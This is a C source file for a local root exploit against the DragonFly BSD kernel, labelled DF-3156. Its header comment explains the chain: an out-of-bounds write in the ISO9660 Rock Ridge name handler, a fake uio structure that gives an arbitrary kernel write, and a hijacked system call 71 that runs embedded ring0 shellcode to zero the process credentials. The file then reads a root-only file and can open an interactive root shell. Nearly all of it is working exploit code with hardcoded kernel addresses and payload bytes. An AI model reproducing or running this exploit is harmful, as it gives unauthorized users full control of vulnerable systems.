DF-3156 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 | /* DF-3156 -- unprivileged uid0 exploit (DragonFly 6.5-DEVELOPMENT #0, * stock X86_64_GENERIC, no SMEP/SMAP/KASLR). * * Chain: * 1. getdents on the crafted RRIP mount -> cd9660_rrip_defname() writes * 129 attacker bytes at idp->current.de.d_name+255 (DF-3156), smashing * the isoreaddir tail: idp->uio -> fake struct uio in our address space. * 2. iso_uiodir() uiomove()s the dirent (16B header + our name bytes) to * the fake iovec base = &sysent[71] - 16: an arbitrary kernel write * that hijacks sysent[71].sy_call -> ring0 stub at 0x20000040 and * restores every live sysent entry it touches. * 3. syscall(71) executes the stub in ring0: mycpu->gd_curthread-> * td_proc->p_ucred->{cr_uid,cr_ruid,cr_svuid}=0, cr_caps=0. * 4. Back in userland with full root credentials. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <dirent.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define PAGE_ALT 0x20000000UL #define PAYLOAD 0x20000040UL #define FAKE_UIO 0x20001000UL #define FAKE_IOV 0x20001040UL #define TARGET 0xffffffff810c7f98UL /* &sysent[71] - 16 */ /* ring0 stub: fix creds, return. * mov %gs:0,%rax; td=gd+8; p=td+168; cr=p+16; * cr_uid(+64)=0; cr_ruid(+160)=0; cr_svuid(+164)=0; * cr_ngroups(+68)=1; cr_groups[0](+72)=0; cr_caps(+176)=0; ret 0 * * NOTE: cr_caps is a RESTRICTION bitmap (sys/sys/caps.h: "negatives, * i.e. restrictions, rather than allowances") -- ~0 = maximally * RESTRICTED (blocks e.g. exec via caps checks); 0 = unrestricted. */ static const unsigned char stub[] = { 0x65,0x48,0x8b,0x04,0x25,0x00,0x00,0x00,0x00, /* mov %gs:0,%rax */ 0x48,0x8b,0x40,0x08, /* mov 8(%rax),%rax */ 0x48,0x8b,0x80,0xa8,0x00,0x00,0x00, /* mov 168(%rax),%rax */ 0x48,0x8b,0x40,0x10, /* mov 16(%rax),%rax */ 0xc7,0x80,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_uid = 0 */ 0xc7,0x80,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_ruid = 0 */ 0xc7,0x80,0xa4,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_svuid = 0 */ 0xc7,0x80,0x44,0x00,0x00,0x00,0x01,0x00,0x00,0x00, /* cr_ngroups = 1 */ 0xc7,0x80,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_gid = 0 */ 0x48,0xc7,0x80,0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_caps = 0 (unrestricted) */ 0x31,0xc0, /* xor %eax,%eax */ 0xc3 /* ret */ }; int main(int argc, char **argv) { const char *dirpath = "/mnt/df3156"; int shell_mode = 0; int i; /* modes: "--shell" arg or DF3156_SHELL=1 env -> interactive root shell * after the privesc (demo); default (no flag) -> "id" one-shot for CI */ if (getenv("DF3156_SHELL") != NULL) shell_mode = 1; for (i = 1; i < argc; i++) { if (strcmp(argv[i], "--shell") == 0) shell_mode = 1; else dirpath = argv[i]; } unsigned char *map; struct { void *iov_base; /* fake iovec */ size_t iov_len; } *iov; struct { void *uio_iov; int uio_iovcnt; int _pad; off_t uio_offset; size_t uio_resid; int uio_segflg; /* UIO_SYSSPACE = 1 */ int uio_rw; /* UIO_READ = 0 */ void *uio_td; } *uio; DIR *d; struct dirent *de; int fd, n; char buf[256]; map = mmap((void *)PAGE_ALT, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } memcpy((void *)PAYLOAD, stub, sizeof(stub)); uio = (void *)FAKE_UIO; iov = (void *)FAKE_IOV; iov->iov_base = (void *)TARGET; iov->iov_len = 0x1000; uio->uio_iov = iov; uio->uio_iovcnt = 1; uio->uio_offset = 0; uio->uio_resid = 0x1000; uio->uio_segflg = 1; /* UIO_SYSSPACE: uiomove bcopy()s */ uio->uio_rw = 0; /* UIO_READ: copy dp -> iov_base */ uio->uio_td = NULL; /* force stdio buffers to allocate before sysent window */ snprintf(buf, sizeof(buf), "uid before: %d euid: %d\n", getuid(), geteuid()); write(1, buf, strlen(buf)); /* stage 1+2: trigger the defname OOB write -> sysent hijack */ d = opendir(dirpath); if (!d) { perror("opendir"); return 1; } write(1, "[m1 opendir]\n", 13); de = readdir(d); write(1, "[m2 first readdir]\n", 19); while (de != NULL) { snprintf(buf, sizeof(buf), " ent namlen=%u name=%.*s\n", de->d_namlen, (int)de->d_namlen, de->d_name); write(1, buf, strlen(buf)); de = readdir(d); } write(1, "[m3 loop done]\n", 15); closedir(d); write(1, "[m4 closedir]\n", 14); /* stage 3: run the ring0 stub through the hijacked syscall 71 */ write(1, "[m5 pre-syscall71]\n", 19); syscall(71); write(1, "[m6 post-syscall71]\n", 20); /* stage 4: we are root */ snprintf(buf, sizeof(buf), "uid after: %d euid: %d\n", getuid(), geteuid()); write(1, buf, strlen(buf)); if (getuid() != 0) { write(1, "FAILED: still unprivileged\n", 27); return 1; } write(1, "uid0: reading root-only file /root/df3156_rootproof\n", 52); fd = open("/root/df3156_rootproof", O_RDONLY); if (fd < 0) { perror("open rootproof"); return 1; } n = read(fd, buf, sizeof(buf) - 1); if (n > 0) { buf[n] = 0; write(1, buf, n); } close(fd); /* The raw cr_uid/cr_ruid/cr_svuid surgery leaves kernel-side cached * cred views inconsistent for exec (execl("/bin/sh") fails EACCES -- * the original run.log shows the exec'd "id" never printed either). * setgid(0)+setuid(0) pass priv_check now (uid 0) and make the kernel * build a clean full-root ucred through the standard path. */ if (setgid(0) != 0) write(1, "setgid(0) failed\n", 17); if (setuid(0) != 0) write(1, "setuid(0) failed\n", 17); if (shell_mode) { const char m7[] = "[m7 spawning interactive root shell /bin/sh]\n"; write(1, m7, strlen(m7)); execl("/bin/sh", "sh", NULL); /* interactive, uid 0 */ perror("execl sh"); return 1; } execl("/bin/sh", "sh", "-c", "id", NULL); return 0; } |